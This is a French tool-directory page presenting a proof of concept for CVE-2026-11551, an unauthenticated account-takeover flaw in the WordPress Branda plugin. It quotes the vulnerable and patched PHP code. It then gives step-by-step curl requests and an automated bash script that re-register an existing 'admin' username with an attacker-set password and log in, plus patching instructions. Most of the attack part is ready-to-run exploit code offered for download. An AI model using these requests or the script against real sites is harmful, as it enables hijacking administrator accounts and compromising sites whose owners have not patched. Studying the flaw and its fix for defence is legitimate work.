Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
By-Poloss..-..CVE-2026-11551-PoC — Unauthenticated Privilege Escalation via Account Takeover | Kitploit
Outils/GitHubGitHub/polosss/by-poloss..-..cve-2026-11551-poc
Privilege EscalationPassword AttacksVulnerability AnalysisExploitationWeb Application ExploitationPenetration Testing
GitHubpolosss/by-poloss..-..cve-2026-11551-poc

By-Poloss..-..CVE-2026-11551-PoC

Unauthenticated Privilege Escalation via Account Takeover

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager
Voir le dépôt
1il y a 2 moisPas encore vérifié

CVE-2026-11551 : Plugin Branda - Élévation de privilèges non authentifiée par prise de contrôle de compte

Aperçu

  • Identifiant CVE : CVE-2026-11551
  • Score CVSS : 9.8 (Critique)
  • Versions affectées : Branda – White Label & Branding <= 3.4.29
  • Version corrigée : 3.4.31
  • Publié : 19 juin 2026

Description de la vulnérabilité

Le plugin Branda pour WordPress est vulnérable à une élévation de privilèges via une prise de contrôle de compte dans toutes les versions jusqu'à la 3.4.29 incluse. Cela est dû au fait que le plugin ne valide pas correctement l'identité d'un utilisateur avant de mettre à jour son mot de passe. Cela permet à des attaquants non authentifiés de modifier les mots de passe d'utilisateurs arbitraires, y compris les administrateurs, et d'exploiter cela pour accéder à leur compte.

Analyse technique

Emplacement du code vulnérable

/inc/modules/login-screen/signup-password.php

Cause racine

La fonction pre_insert_user_data() dans la version vulnérable manque de validation appropriée :

root@kitploit:~
// Vulnerable version (3.4.29)
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code...
    }
    // Missing: if ($update) return $data; <-- VULNERABILITY
    
    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        // Set the password from POST data
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

Code corrigé (3.4.31)

root@kitploit:~
public function pre_insert_user_data( $data, $update, $id ) {
    if ( is_multisite() ) {
        // Multisite code with proper checks...
    }

    // FIX: Added check to prevent updating existing users
    if ( $update ) {
        return $data;
    }

    if ( empty( $data['user_pass'] ) && empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( wp_generate_password( 20, false ) );
    } elseif ( ! empty( $_POST['password_1'] ) ) {
        $data['user_pass'] = wp_hash_password( $_POST['password_1'] );
    }

    return $data;
}

Vecteurs d'attaque

Vecteur 1 : Inscription multisite (principal)

  1. L'attaquant accède à /wp-signup.php
  2. S'inscrit avec un nom d'utilisateur administrateur existant (par exemple "admin")
  3. Définit un mot de passe personnalisé via le paramètre password_1
  4. Branda stocke le mot de passe dans les métadonnées de l'inscription
  5. Lors de l'activation, le mot de passe écrase celui de l'administrateur existant

Vecteur 2 : Inscription sur site unique

  1. L'attaquant accède à /wp-login.php?action=register
  2. Branda ajoute des champs de mot de passe au formulaire
  3. L'attaquant soumet une inscription avec un nom d'utilisateur existant
  4. Si l'activation aboutit, le mot de passe est défini

Preuve de concept (curl)

Étape 1 : Vérifier si l'inscription est activée

root@kitploit:~
curl -s -k "https://TARGET/wp-login.php?action=register" | grep -i "registration"

Étape 2 : Vérifier le type WordPress (multisite vs site unique)

root@kitploit:~
curl -s -k -I "https://TARGET/wp-signup.php" | grep "HTTP/"

Étape 3 : Pour multisite - S'inscrire avec le nom d'utilisateur administrateur

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-signup.php" \
  -d "user_name=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "signup_for=blog"

Étape 4 : Pour site unique - S'inscrire

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php?action=register" \
  -d "user_login=admin" \
  -d "[email protected]" \
  -d "password_1=NewP@ssw0rd!" \
  -d "password_2=NewP@ssw0rd!" \
  -d "wp-submit=Register"

Étape 5 : Activer (si vérification par email requise)

root@kitploit:~
# Extract activation key from email and visit:
curl -s -k -c cookies.txt -b cookies.txt \
  "https://TARGET/wp-activate.php?key=ACTIVATION_KEY"

Étape 6 : Vérifier - Essayer de se connecter

root@kitploit:~
curl -s -k -c cookies.txt -b cookies.txt \
  -X POST "https://TARGET/wp-login.php" \
  -d "log=admin" \
  -d "pwd=NewP@ssw0rd!" \
  -d "wp-submit=Log In" \
  -L | grep -i "dashboard\|wp-admin\|error"

Script d'exploitation automatisé

root@kitploit:~
#!/bin/bash
TARGET="https://TARGET"
USERNAME="admin"
NEW_PASSWORD="Pwned$(date +%s)!"

echo "[*] Registering $USERNAME with password $NEW_PASSWORD..."

# Multisite attack
curl -s -k -c /tmp/cookies.txt \
  -X POST "$TARGET/wp-signup.php" \
  -d "user_name=$USERNAME" \
  -d "[email protected]" \
  -d "password_1=$NEW_PASSWORD" \
  -d "password_2=$NEW_PASSWORD"

echo "[*] Check email for activation link"
echo "[*] After activation, try: curl -X POST $TARGET/wp-login.php -d 'log=$USERNAME' -d 'pwd=$NEW_PASSWORD'"

Conditions d'exploitation

  1. WordPress avec le plugin Branda <= 3.4.29 installé et activé
  2. L'inscription des utilisateurs doit être activée (vérifier dans Réglages > Général > Adhésion : N'importe qui peut s'inscrire)
  3. Pour la prise de contrôle réussie : Le nom d'utilisateur cible doit exister
  4. Pour multisite : Accès à l'email d'activation (ou contournement de l'activation)

Correction

Mettez à jour le plugin Branda vers la version 3.4.31 ou ultérieure :

root@kitploit:~
# Via l'administration WordPress
Tableau de bord > Extensions > Branda > Mettre à jour

# Via WP-CLI
wp plugin update branda-white-labeling

# Via SSH
wp plugin update branda-white-labeling --version=3.4.31

Impact

  • Confidentialité : Élevée - L'attaquant accède à n'importe quel compte utilisateur
  • Intégrité : Élevée - L'attaquant peut modifier le contenu
  • Disponibilité : Élevée - L'attaquant peut verrouiller les utilisateurs légitimes

Références

  • Wordfence Intelligence
  • WPScan
  • Plugin Trac

W.P.E.F

  • W.P.E.F Telegram chaîne #1
  • W.P.E.F Telegram chaîne #2
Télécharger l’outil